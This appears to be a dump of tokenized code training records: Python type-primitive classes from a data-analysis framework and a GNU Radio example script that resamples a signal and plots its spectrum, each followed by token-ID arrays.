inclusive_start=_RANGE_DEFAULT_INCLUSIVE_START, inclusive_end=_RANGE_DEFAULT_INCLUSIVE_END): if len(args) == 2: self.start, self.end = args elif len(args) == 1: self.start = _RANGE_DEFAULT_START self.end, = args elif len(args) == 0: self.start = _RANGE_DEFAULT_START self.end = _RANGE_DEFAULT_END else: raise ValueError("") self.inclusive_start = inclusive_start self.inclusive_end = inclusive_end truthy = self.start is not None or self.end is not None super().__init__(truthy) def __hash__(self): return (hash(type(self)) ^ hash(self.start) ^ hash(self.end) ^ hash(self.inclusive_start) ^ hash(self.inclusive_end)) def __eq__(self, other): return (type(self) is type(other) and self.start == other.start and self.end == other.end and self.inclusive_start == other.inclusive_start and self.inclusive_end == other.inclusive_end) def __repr__(self): args = [] args.append(repr(self.start)) args.append(repr(self.end)) if self.inclusive_start is not _RANGE_DEFAULT_INCLUSIVE_START: args.append('inclusive_start=%r' % self.inclusive_start) if self.inclusive_end is not _RANGE_DEFAULT_INCLUSIVE_END: args.append('inclusive_end=%r' % self.inclusive_end) return "%s(%s)" % (self.__class__.__name__, ', '.join(args)) def _is_element_(self, value): if self.start is not None: if self.inclusive_start: if value < self.start: return False elif value <= self.start: return False if self.end is not None: if self.inclusive_end: if value > self.end: return False elif value >= self.end: return False return True def iter_boundaries(self): if self.start is not None: yield self.start if self.end is not None: yield self.end def to_ast(self): ast = super().to_ast() ast['start'] = self.start ast['end'] = self.end ast['inclusive-start'] = self.inclusive_start ast['inclusive-end'] = self.inclusive_end return ast class Choices(Predicate): def __init__(self, choices): if not choices: raise ValueError("'Choices' cannot be instantiated with an empty" " set.") self.choices = set(choices) super().__init__(choices) def __hash__(self): return hash(type(self)) ^ hash(frozenset(self.choices)) def __eq__(self, other): return type(self) == type(other) and self.choices == other.choices def __repr__(self): return "%s({%s})" % (self.__class__.__name__, repr(sorted(self.choices))[1:-1]) def _is_element_(self, value): return value in self.choices def iter_boundaries(self): yield from self.choices def to_ast(self): ast = super().to_ast() ast['choices'] = list(self.choices) return ast class _Int(_Primitive): _valid_predicates = {Range} def _is_element_(self, value): # Works with numpy just fine. return isinstance(value, numbers.Integral) def _is_subtype_(self, other): if (isinstance(other, type(Float)) and self.predicate <= other.predicate): return True return super()._is_subtype_(other) def decode(self, string): return int(string) def encode(self, value): return str(value) class _Str(_Primitive): _valid_predicates = {Choices} decode = encode = lambda self, arg: arg def _is_element_(self, value): # No reason for excluding bytes other than extreme prejudice. return isinstance(value, str) class _Float(_Primitive): _valid_predicates = {Range} def _is_element_(self, value): # Works with numpy just fine. return isinstance(value, numbers.Real) def decode(self, string): return float(string) def encode(self, value): return str(value) class _Bool(_Primitive): _valid_predicates = set() def _is_element_(self, value): return isinstance(value, bool) def decode(self, string): if string not in ('false', 'true'): raise TypeError("%s is neither 'true' or 'false'" % string) return string == 'true' def encode(self, value): if value: return 'true' else: return 'false' class _Color(_Str): def _is_element_(self, value): # Regex from: http://stackoverflow.com/a/1636354/579416 return bool(re.search(r'^#(?:[0-9a-fA-F]{3}){1,2}$', value)) class _Metadata(_Primitive): _valid_predicates = set() def _is_element_(self, value): return isinstance(value, metadata.Metadata) def decode(self, metadata): # This interface should have already retrieved this object. if not self._is_element_(metadata): raise TypeError("`Metadata` must be provided by the interface" " directly.") return metadata def encode(self, value): # TODO: Should this be the provenance representation? Does that affect # decode? return value class _MetadataColumn(CompositeType): def _validate_field_(self, name, value): if not isinstance(value, (_MetadataColumnType, _MetadataColumnTypeUnion)): raise TypeError("Unsupported type in field: %r" % value) def _apply_fields_(self, fields): return _MetadataColumnExpression(self.name, fields=fields) class _MetadataColumnExpression(_Primitive): _valid_predicates = set() def _is_element_(self, value): return value in self.fields[0] def decode(self, metadata_column): # This interface should have already retrieved this object. if metadata_column not in self: raise TypeError("`MetadataColumn` must be provided by the " "interface directly.") return metadata_column def encode(self, value): # TODO: Should this be the provenance representation? Does that affect # decode? return value class _MetadataColumnType(_Primitive): _valid_predicates = set() def __init__(self, name, view, fields=(), predicate=None): self._view = view super().__init__(name, fields, predicate) def _is_element_(self, value): return isinstance(value, self._view) def _validate_union_(self, other, handshake=False): if not isinstance(other, self.__class__): raise TypeError("Unsupported union: %r" % other) def _build_union_(self, members): return _MetadataColumnTypeUnion(members) class _MetadataColumnTypeUnion(UnionTypeExpression): pass Bool = _Bool('Bool') Int = _Int('Int') Float = _Float('Float') Str = _Str('Str') Color = _Color('Color') Metadata = _Metadata('Metadata') MetadataColumn = _MetadataColumn('MetadataColumn', field_names=['type']) Numeric = _MetadataColumnType('Numeric', metadata.NumericMetadataColumn) Categorical = _MetadataColumnType('Categorical', metadata.CategoricalMetadataColumn)
bsd-3-clause
[ 3, 27103, 199, 3, 1898, 334, 67, 9, 7800, 13, 14982, 12, 1413, 41, 3465, 499, 16367, 8099, 14, 199, 3, 199, 3, 17484, 1334, 314, 2895, 402, 314, 22016, 6289, 844, 14, 199, 3, 199, 3, 710, 2615, 4190, 365, 315, 314, 570, 5113, 12, 1854, 543, 642, 2032, 14, 199, 3, 27103, 199, 199, 646, 5579, 199, 646, 295, 199, 199, 504, 31402, 1036, 18, 14, 1018, 14, 466, 14, 15239, 492, 334, 272, 2434, 9093, 12, 27506, 2124, 804, 12, 5543, 10188, 12, 15961, 804, 9093, 9, 199, 646, 31402, 1036, 18, 14, 2343, 465, 3341, 421, 199, 318, 365, 63, 16161, 63, 466, 8, 466, 7822, 272, 372, 1228, 8, 466, 3131, 485, 22231, 1563, 9, 421, 199, 533, 485, 22231, 1563, 8, 804, 9093, 304, 272, 347, 485, 3502, 63, 8888, 2531, 277, 12, 1163, 12, 14305, 29, 797, 304, 267, 327, 2779, 365, 3962, 781, 1443, 2934, 642, 2005, 2977, 26, 658, 3241, 1204, 8303, 3559, 1325, 1865, 402, 267, 327, 3752, 15, 2708, 7634, 3955, 78, 1133, 506, 23669, 13, 6688, 14, 267, 327, 9240, 402, 314, 12560, 4293, 6623, 298, 45, 1092, 401, 1325, 2066, 16612, 267, 327, 1471, 11201, 9805, 1204, 8303, 1137, 8303, 1204, 9805, 12, 1314, 1964, 18099, 22965, 14, 267, 746, 3146, 480, 6612, 13629, 18944, 2943, 2685, 339, 347, 485, 3502, 63, 12569, 2531, 277, 12, 1163, 12, 14305, 29, 797, 304, 267, 327, 961, 7142, 1183, 7704, 949, 12249, 367, 1979, 22337, 14, 22207, 6656, 12249, 2419, 267, 327, 445, 1159, 15961, 730, 334, 6777, 365, 5965, 376, 16223, 730, 11965, 267, 746, 3146, 480, 6612, 26066, 18944, 2943, 2685, 421, 199, 533, 485, 22231, 1547, 22231, 1563, 304, 272, 347, 485, 3502, 63, 14463, 2531, 277, 12, 11944, 304, 267, 1613, 19050, 3502, 63, 14463, 2531, 14463, 9, 267, 327, 485, 1078, 63, 14463, 83, 911, 506, 641, 314, 1021, 1559, 402, 314, 1979, 22337, 370, 267, 327, 1852, 12669, 3062, 8837, 267, 340, 440, 1228, 8, 14463, 12, 2008, 8, 277, 423, 1078, 63, 14463, 83, 2298, 288, 746, 3146, 480, 6612, 17169, 450, 82, 465, 282, 11944, 370, 450, 82, 730, 4589, 1169, 298, 8211, 11944, 83, 26, 450, 82, 2, 1169, 450, 334, 14463, 12, 291, 12, 3044, 469, 80, 855, 354, 363, 367, 299, 315, 291, 423, 1078, 63, 14463, 83, 12466, 398, 367, 3914, 315, 11944, 14, 1661, 63, 27505, 837, 288, 340, 440, 291, 423, 374, 63, 2108, 2531, 3556, 304, 355, 746, 3146, 3647, 82, 965, 314, 6835, 2943, 367, 450, 82, 2122, 1816, 450, 334, 14463, 12, 291, 430, 339, 347, 370, 63, 1810, 8, 277, 304, 267, 6073, 275, 1613, 1252, 475, 63, 1810, 342, 267, 6073, 459, 466, 418, 275, 283, 16161, 7, 267, 372, 6073, 421, 199, 63, 15167, 63, 3472, 63, 7363, 275, 488, 199, 63, 15167, 63, 3472, 63, 3902, 275, 488, 199, 63, 15167, 63, 3472, 63, 568, 1981, 1668, 5399, 63, 7363, 275, 715, 199, 63, 15167, 63, 3472, 63, 568, 1981, 1668, 5399, 63, 3902, 275, 756, 421, 199, 533, 13114, 8, 22236, 304, 272, 347, 636, 826, 721, 277, 12, 627, 589, 12, 20728, 63, 928, 3699, 15167, 63, 3472, 63, 568, 1981, 1668, 5399, 63, 7363, 12, 326, 20728, 63, 500, 3699, 15167, 63, 3472, 63, 568, 1981, 1668, 5399, 63, 3902, 304, 267, 340, 822, 8, 589, 9, 508, 499, 26, 288, 291, 14, 928, 12, 291, 14, 500, 275, 1249, 267, 916, 822, 8, 589, 9, 508, 413, 26, 288, 291, 14, 928, 275, 485, 15167, 63, 3472, 63, 7363, 288, 291, 14, 500, 12, 275, 1249, 267, 916, 822, 8, 589, 9, 508, 378, 26, 288, 291, 14, 928, 275, 485, 15167, 63, 3472, 63, 7363, 288, 291, 14, 500, 275, 485, 15167, 63, 3472, 63, 3902, 267, 587, 26, 288, 746, 1722, 10804, 267, 291, 14, 26062, 63, 928, 275, 20728, 63, 928, 267, 291, 14, 26062, 63, 500, 275, 20728, 63, 500, 398, 16865, 89, 275, 291, 14, 928, 365, 440, 488, 503, 291, 14, 500, 365, 440, 488, 267, 1613, 11027, 826, 721, 17167, 89, 9, 339, 347, 636, 2227, 721, 277, 304, 267, 372, 334, 2227, 8, 466, 8, 277, 430, 7167, 355, 2631, 8, 277, 14, 928, 9, 7167, 355, 2631, 8, 277, 14, 500, 9, 7167, 355, 2631, 8, 277, 14, 26062, 63, 928, 9, 7167, 355, 2631, 8, 277, 14, 26062, 63, 500, 430, 339, 347, 636, 4077, 721, 277, 12, 1163, 304, 267, 372, 334, 466, 8, 277, 9, 365, 730, 8, 1848, 9, 436, 355, 291, 14, 928, 508, 1163, 14, 928, 436, 355, 291, 14, 500, 508, 1163, 14, 500, 436, 355, 291, 14, 26062, 63, 928, 508, 1163, 14, 26062, 63, 928, 436, 355, 291, 14, 26062, 63, 500, 508, 1163, 14, 26062, 63, 500, 9, 339, 347, 636, 2722, 721, 277, 304, 267, 1249, 275, 942, 267, 1249, 14, 740, 8, 2722, 8, 277, 14, 928, 430, 267, 1249, 14, 740, 8, 2722, 8, 277, 14, 500, 430, 267, 340, 291, 14, 26062, 63, 928, 365, 440, 485, 15167, 63, 3472, 63, 568, 1981, 1668, 5399, 63, 7363, 26, 288, 1249, 14, 740, 360, 26062, 63, 928, 2458, 82, 7, 450, 291, 14, 26062, 63, 928, 9, 267, 340, 291, 14, 26062, 63, 500, 365, 440, 485, 15167, 63, 3472, 63, 568, 1981, 1668, 5399, 63, 3902, 26, 288, 1249, 14, 740, 360, 26062, 63, 500, 2458, 82, 7, 450, 291, 14, 26062, 63, 500, 9, 398, 372, 2071, 83, 4042, 83, 2924, 450, 334, 277, 855, 533, 4914, 354, 3108, 1656, 1987, 904, 8, 589, 430, 339, 347, 485, 374, 63, 2108, 2531, 277, 12, 574, 304, 267, 340, 291, 14, 928, 365, 440, 488, 26, 288, 340, 291, 14, 26062, 63, 928, 26, 355, 340, 574, 665, 291, 14, 928, 26, 490, 372, 756, 288, 916, 574, 2695, 291, 14, 928, 26, 355, 372, 756, 398, 340, 291, 14, 500, 365, 440, 488, 26, 288, 340, 291, 14, 26062, 63, 500, 26, 355, 340, 574, 690, 291, 14, 500, 26, 490, 372, 756, 288, 916, 574, 2356, 291, 14, 500, 26, 355, 372, 756 ]
[ 27103, 199, 3, 1898, 334, 67, 9, 7800, 13, 14982, 12, 1413, 41, 3465, 499, 16367, 8099, 14, 199, 3, 199, 3, 17484, 1334, 314, 2895, 402, 314, 22016, 6289, 844, 14, 199, 3, 199, 3, 710, 2615, 4190, 365, 315, 314, 570, 5113, 12, 1854, 543, 642, 2032, 14, 199, 3, 27103, 199, 199, 646, 5579, 199, 646, 295, 199, 199, 504, 31402, 1036, 18, 14, 1018, 14, 466, 14, 15239, 492, 334, 272, 2434, 9093, 12, 27506, 2124, 804, 12, 5543, 10188, 12, 15961, 804, 9093, 9, 199, 646, 31402, 1036, 18, 14, 2343, 465, 3341, 421, 199, 318, 365, 63, 16161, 63, 466, 8, 466, 7822, 272, 372, 1228, 8, 466, 3131, 485, 22231, 1563, 9, 421, 199, 533, 485, 22231, 1563, 8, 804, 9093, 304, 272, 347, 485, 3502, 63, 8888, 2531, 277, 12, 1163, 12, 14305, 29, 797, 304, 267, 327, 2779, 365, 3962, 781, 1443, 2934, 642, 2005, 2977, 26, 658, 3241, 1204, 8303, 3559, 1325, 1865, 402, 267, 327, 3752, 15, 2708, 7634, 3955, 78, 1133, 506, 23669, 13, 6688, 14, 267, 327, 9240, 402, 314, 12560, 4293, 6623, 298, 45, 1092, 401, 1325, 2066, 16612, 267, 327, 1471, 11201, 9805, 1204, 8303, 1137, 8303, 1204, 9805, 12, 1314, 1964, 18099, 22965, 14, 267, 746, 3146, 480, 6612, 13629, 18944, 2943, 2685, 339, 347, 485, 3502, 63, 12569, 2531, 277, 12, 1163, 12, 14305, 29, 797, 304, 267, 327, 961, 7142, 1183, 7704, 949, 12249, 367, 1979, 22337, 14, 22207, 6656, 12249, 2419, 267, 327, 445, 1159, 15961, 730, 334, 6777, 365, 5965, 376, 16223, 730, 11965, 267, 746, 3146, 480, 6612, 26066, 18944, 2943, 2685, 421, 199, 533, 485, 22231, 1547, 22231, 1563, 304, 272, 347, 485, 3502, 63, 14463, 2531, 277, 12, 11944, 304, 267, 1613, 19050, 3502, 63, 14463, 2531, 14463, 9, 267, 327, 485, 1078, 63, 14463, 83, 911, 506, 641, 314, 1021, 1559, 402, 314, 1979, 22337, 370, 267, 327, 1852, 12669, 3062, 8837, 267, 340, 440, 1228, 8, 14463, 12, 2008, 8, 277, 423, 1078, 63, 14463, 83, 2298, 288, 746, 3146, 480, 6612, 17169, 450, 82, 465, 282, 11944, 370, 450, 82, 730, 4589, 1169, 298, 8211, 11944, 83, 26, 450, 82, 2, 1169, 450, 334, 14463, 12, 291, 12, 3044, 469, 80, 855, 354, 363, 367, 299, 315, 291, 423, 1078, 63, 14463, 83, 12466, 398, 367, 3914, 315, 11944, 14, 1661, 63, 27505, 837, 288, 340, 440, 291, 423, 374, 63, 2108, 2531, 3556, 304, 355, 746, 3146, 3647, 82, 965, 314, 6835, 2943, 367, 450, 82, 2122, 1816, 450, 334, 14463, 12, 291, 430, 339, 347, 370, 63, 1810, 8, 277, 304, 267, 6073, 275, 1613, 1252, 475, 63, 1810, 342, 267, 6073, 459, 466, 418, 275, 283, 16161, 7, 267, 372, 6073, 421, 199, 63, 15167, 63, 3472, 63, 7363, 275, 488, 199, 63, 15167, 63, 3472, 63, 3902, 275, 488, 199, 63, 15167, 63, 3472, 63, 568, 1981, 1668, 5399, 63, 7363, 275, 715, 199, 63, 15167, 63, 3472, 63, 568, 1981, 1668, 5399, 63, 3902, 275, 756, 421, 199, 533, 13114, 8, 22236, 304, 272, 347, 636, 826, 721, 277, 12, 627, 589, 12, 20728, 63, 928, 3699, 15167, 63, 3472, 63, 568, 1981, 1668, 5399, 63, 7363, 12, 326, 20728, 63, 500, 3699, 15167, 63, 3472, 63, 568, 1981, 1668, 5399, 63, 3902, 304, 267, 340, 822, 8, 589, 9, 508, 499, 26, 288, 291, 14, 928, 12, 291, 14, 500, 275, 1249, 267, 916, 822, 8, 589, 9, 508, 413, 26, 288, 291, 14, 928, 275, 485, 15167, 63, 3472, 63, 7363, 288, 291, 14, 500, 12, 275, 1249, 267, 916, 822, 8, 589, 9, 508, 378, 26, 288, 291, 14, 928, 275, 485, 15167, 63, 3472, 63, 7363, 288, 291, 14, 500, 275, 485, 15167, 63, 3472, 63, 3902, 267, 587, 26, 288, 746, 1722, 10804, 267, 291, 14, 26062, 63, 928, 275, 20728, 63, 928, 267, 291, 14, 26062, 63, 500, 275, 20728, 63, 500, 398, 16865, 89, 275, 291, 14, 928, 365, 440, 488, 503, 291, 14, 500, 365, 440, 488, 267, 1613, 11027, 826, 721, 17167, 89, 9, 339, 347, 636, 2227, 721, 277, 304, 267, 372, 334, 2227, 8, 466, 8, 277, 430, 7167, 355, 2631, 8, 277, 14, 928, 9, 7167, 355, 2631, 8, 277, 14, 500, 9, 7167, 355, 2631, 8, 277, 14, 26062, 63, 928, 9, 7167, 355, 2631, 8, 277, 14, 26062, 63, 500, 430, 339, 347, 636, 4077, 721, 277, 12, 1163, 304, 267, 372, 334, 466, 8, 277, 9, 365, 730, 8, 1848, 9, 436, 355, 291, 14, 928, 508, 1163, 14, 928, 436, 355, 291, 14, 500, 508, 1163, 14, 500, 436, 355, 291, 14, 26062, 63, 928, 508, 1163, 14, 26062, 63, 928, 436, 355, 291, 14, 26062, 63, 500, 508, 1163, 14, 26062, 63, 500, 9, 339, 347, 636, 2722, 721, 277, 304, 267, 1249, 275, 942, 267, 1249, 14, 740, 8, 2722, 8, 277, 14, 928, 430, 267, 1249, 14, 740, 8, 2722, 8, 277, 14, 500, 430, 267, 340, 291, 14, 26062, 63, 928, 365, 440, 485, 15167, 63, 3472, 63, 568, 1981, 1668, 5399, 63, 7363, 26, 288, 1249, 14, 740, 360, 26062, 63, 928, 2458, 82, 7, 450, 291, 14, 26062, 63, 928, 9, 267, 340, 291, 14, 26062, 63, 500, 365, 440, 485, 15167, 63, 3472, 63, 568, 1981, 1668, 5399, 63, 3902, 26, 288, 1249, 14, 740, 360, 26062, 63, 500, 2458, 82, 7, 450, 291, 14, 26062, 63, 500, 9, 398, 372, 2071, 83, 4042, 83, 2924, 450, 334, 277, 855, 533, 4914, 354, 3108, 1656, 1987, 904, 8, 589, 430, 339, 347, 485, 374, 63, 2108, 2531, 277, 12, 574, 304, 267, 340, 291, 14, 928, 365, 440, 488, 26, 288, 340, 291, 14, 26062, 63, 928, 26, 355, 340, 574, 665, 291, 14, 928, 26, 490, 372, 756, 288, 916, 574, 2695, 291, 14, 928, 26, 355, 372, 756, 398, 340, 291, 14, 500, 365, 440, 488, 26, 288, 340, 291, 14, 26062, 63, 500, 26, 355, 340, 574, 690, 291, 14, 500, 26, 490, 372, 756, 288, 916, 574, 2356, 291, 14, 500, 26, 355, 372, 756, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
gnychis/grforwarder
gnuradio-examples/python/pfb/resampler.py
7
4207
#!/usr/bin/env python # # Copyright 2009 Free Software Foundation, Inc. # # This file is part of GNU Radio # # GNU Radio is free software; you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 3, or (at your option) # any later version. # # GNU Radio is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with GNU Radio; see the file COPYING. If not, write to # the Free Software Foundation, Inc., 51 Franklin Street, # Boston, MA 02110-1301, USA. # from gnuradio import gr, blks2 import sys try: import scipy except ImportError: print "Error: Program requires scipy (see: www.scipy.org)." sys.exit(1) try: import pylab except ImportError: print "Error: Program requires matplotlib (see: matplotlib.sourceforge.net)." sys.exit(1) class mytb(gr.top_block): def __init__(self, fs_in, fs_out, fc, N=10000): gr.top_block.__init__(self) rerate = float(fs_out) / float(fs_in) print "Resampling from %f to %f by %f " %(fs_in, fs_out, rerate) # Creating our own taps taps = gr.firdes.low_pass_2(32, 32, 0.25, 0.1, 80) self.src = gr.sig_source_c(fs_in, gr.GR_SIN_WAVE, fc, 1) #self.src = gr.noise_source_c(gr.GR_GAUSSIAN, 1) self.head = gr.head(gr.sizeof_gr_complex, N) # A resampler with our taps self.resamp_0 = blks2.pfb_arb_resampler_ccf(rerate, taps, flt_size=32) # A resampler that just needs a resampling rate. # Filter is created for us and designed to cover # entire bandwidth of the input signal. # An optional atten=XX rate can be used here to # specify the out-of-band rejection (default=80). self.resamp_1 = blks2.pfb_arb_resampler_ccf(rerate) self.snk_in = gr.vector_sink_c() self.snk_0 = gr.vector_sink_c() self.snk_1 = gr.vector_sink_c() self.connect(self.src, self.head, self.snk_in) self.connect(self.head, self.resamp_0, self.snk_0) self.connect(self.head, self.resamp_1, self.snk_1) def main(): fs_in = 8000 fs_out = 20000 fc = 1000 N = 10000 tb = mytb(fs_in, fs_out, fc, N) tb.run() # Plot PSD of signals nfftsize = 2048 fig1 = pylab.figure(1, figsize=(10,10), facecolor="w") sp1 = fig1.add_subplot(2,1,1) sp1.psd(tb.snk_in.data(), NFFT=nfftsize, noverlap=nfftsize/4, Fs = fs_in) sp1.set_title(("Input Signal at f_s=%.2f kHz" % (fs_in/1000.0))) sp1.set_xlim([-fs_in/2, fs_in/2]) sp2 = fig1.add_subplot(2,1,2) sp2.psd(tb.snk_0.data(), NFFT=nfftsize, noverlap=nfftsize/4, Fs = fs_out, label="With our filter") sp2.psd(tb.snk_1.data(), NFFT=nfftsize, noverlap=nfftsize/4, Fs = fs_out, label="With auto-generated filter") sp2.set_title(("Output Signals at f_s=%.2f kHz" % (fs_out/1000.0))) sp2.set_xlim([-fs_out/2, fs_out/2]) sp2.legend() # Plot signals in time Ts_in = 1.0/fs_in Ts_out = 1.0/fs_out t_in = scipy.arange(0, len(tb.snk_in.data())*Ts_in, Ts_in) t_out = scipy.arange(0, len(tb.snk_0.data())*Ts_out, Ts_out) fig2 = pylab.figure(2, figsize=(10,10), facecolor="w") sp21 = fig2.add_subplot(2,1,1) sp21.plot(t_in, tb.snk_in.data()) sp21.set_title(("Input Signal at f_s=%.2f kHz" % (fs_in/1000.0))) sp21.set_xlim([t_in[100], t_in[200]]) sp22 = fig2.add_subplot(2,1,2) sp22.plot(t_out, tb.snk_0.data(), label="With our filter") sp22.plot(t_out, tb.snk_1.data(), label="With auto-generated filter") sp22.set_title(("Output Signals at f_s=%.2f kHz" % (fs_out/1000.0))) r = float(fs_out)/float(fs_in) sp22.set_xlim([t_out[r * 100], t_out[r * 200]]) sp22.legend() pylab.show() if __name__ == "__main__": main()
gpl-3.0
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 199, 3, 199, 3, 1898, 8937, 2868, 2290, 2752, 12, 3277, 14, 199, 3, 221, 199, 3, 961, 570, 365, 1777, 402, 1664, 13514, 199, 3, 221, 199, 3, 1664, 13514, 365, 2867, 2032, 27, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 27, 1902, 1015, 650, 12, 503, 334, 292, 2195, 945, 9, 199, 3, 1263, 2945, 1015, 14, 199, 3, 221, 199, 3, 1664, 13514, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 221, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 1664, 13514, 27, 1937, 314, 570, 9685, 14, 221, 982, 440, 12, 2218, 370, 199, 3, 314, 2868, 2290, 2752, 12, 3277, 2020, 8026, 11236, 14259, 12, 199, 3, 8226, 12, 4828, 11315, 13, 10067, 12, 8217, 14, 199, 3, 9948, 199, 504, 24526, 492, 7192, 12, 6826, 6080, 18, 199, 646, 984, 199, 199, 893, 26, 272, 492, 7026, 199, 2590, 3545, 26, 272, 870, 298, 547, 26, 18841, 5074, 7026, 334, 3239, 26, 20732, 14, 14248, 14, 1308, 17617, 272, 984, 14, 2224, 8, 17, 9, 199, 199, 893, 26, 272, 492, 19199, 199, 2590, 3545, 26, 272, 870, 298, 547, 26, 18841, 5074, 8027, 334, 3239, 26, 8027, 14, 22943, 14, 846, 17617, 272, 984, 14, 2224, 8, 17, 9, 199, 199, 533, 3002, 5842, 8, 2587, 14, 2119, 63, 1457, 304, 272, 347, 636, 826, 721, 277, 12, 7449, 63, 262, 12, 7449, 63, 548, 12, 10821, 12, 653, 29, 9943, 304, 267, 7192, 14, 2119, 63, 1457, 855, 826, 721, 277, 9, 2728, 295, 1866, 275, 2069, 8, 2319, 63, 548, 9, 1182, 2069, 8, 2319, 63, 262, 9, 267, 870, 298, 1322, 23144, 687, 450, 70, 370, 450, 70, 701, 450, 70, 298, 2818, 2319, 63, 262, 12, 7449, 63, 548, 12, 295, 1866, 9, 398, 327, 20507, 4154, 5705, 307, 7461, 267, 307, 7461, 275, 7192, 14, 1795, 3424, 14, 674, 63, 1529, 63, 18, 8, 708, 12, 4337, 12, 378, 14, 821, 12, 378, 14, 17, 12, 5939, 9, 398, 291, 14, 2164, 275, 7192, 14, 4093, 63, 1365, 63, 67, 8, 2319, 63, 262, 12, 7192, 14, 3975, 63, 51, 568, 63, 32482, 12, 10821, 12, 413, 9, 267, 327, 277, 14, 2164, 275, 7192, 14, 11838, 63, 1365, 63, 67, 8, 2587, 14, 3975, 63, 9741, 1668, 2684, 879, 12, 413, 9, 267, 291, 14, 2993, 275, 7192, 14, 2993, 8, 2587, 14, 12590, 63, 2587, 63, 5254, 12, 653, 9, 398, 327, 437, 31744, 82, 543, 4154, 307, 7461, 267, 291, 14, 470, 5282, 63, 16, 275, 6826, 6080, 18, 14, 80, 4675, 63, 10325, 63, 22882, 82, 63, 31427, 8, 264, 1866, 12, 307, 7461, 12, 8105, 17166, 63, 890, 29, 708, 9, 398, 327, 437, 31744, 82, 626, 2951, 4839, 282, 522, 23144, 6634, 14, 267, 327, 9388, 365, 2737, 367, 2739, 436, 19829, 370, 8486, 267, 327, 8039, 20434, 402, 314, 1324, 4673, 14, 267, 327, 1626, 2716, 22624, 29, 2483, 6634, 883, 506, 1202, 2348, 370, 4960, 327, 4165, 314, 734, 13, 1618, 13, 7877, 295, 8923, 334, 885, 29, 1257, 680, 267, 291, 14, 470, 5282, 63, 17, 275, 6826, 6080, 18, 14, 80, 4675, 63, 10325, 63, 22882, 82, 63, 31427, 8, 264, 1866, 9, 398, 291, 14, 5167, 75, 63, 262, 275, 7192, 14, 4106, 63, 11279, 63, 67, 342, 267, 291, 14, 5167, 75, 63, 16, 275, 7192, 14, 4106, 63, 11279, 63, 67, 342, 267, 291, 14, 5167, 75, 63, 17, 275, 7192, 14, 4106, 63, 11279, 63, 67, 342, 398, 291, 14, 2242, 8, 277, 14, 2164, 12, 291, 14, 2993, 12, 291, 14, 5167, 75, 63, 262, 9, 267, 291, 14, 2242, 8, 277, 14, 2993, 12, 291, 14, 470, 5282, 63, 16, 12, 291, 14, 5167, 75, 63, 16, 9, 267, 291, 14, 2242, 8, 277, 14, 2993, 12, 291, 14, 470, 5282, 63, 17, 12, 291, 14, 5167, 75, 63, 17, 9, 199, 199, 318, 2446, 837, 272, 7449, 63, 262, 275, 29855, 272, 7449, 63, 548, 275, 499, 993, 272, 10821, 275, 5198, 272, 653, 275, 11630, 339, 7070, 275, 3002, 5842, 8, 2319, 63, 262, 12, 7449, 63, 548, 12, 10821, 12, 653, 9, 272, 7070, 14, 1065, 342, 2378, 327, 14794, 510, 3693, 402, 10166, 272, 302, 9996, 890, 275, 18427, 272, 6085, 17, 275, 19199, 14, 8941, 8, 17, 12, 6085, 890, 2687, 709, 12, 709, 395, 8870, 2326, 628, 87, 531, 272, 2249, 17, 275, 6085, 17, 14, 525, 63, 13334, 8, 18, 12, 17, 12, 17, 9, 272, 2249, 17, 14, 31600, 8, 5842, 14, 5167, 75, 63, 262, 14, 576, 1062, 653, 1665, 52, 29, 78, 9996, 890, 12, 288, 949, 422, 4762, 29, 78, 9996, 890, 15, 20, 12, 481, 83, 275, 7449, 63, 262, 9, 272, 2249, 17, 14, 409, 63, 1213, 9313, 3205, 18288, 737, 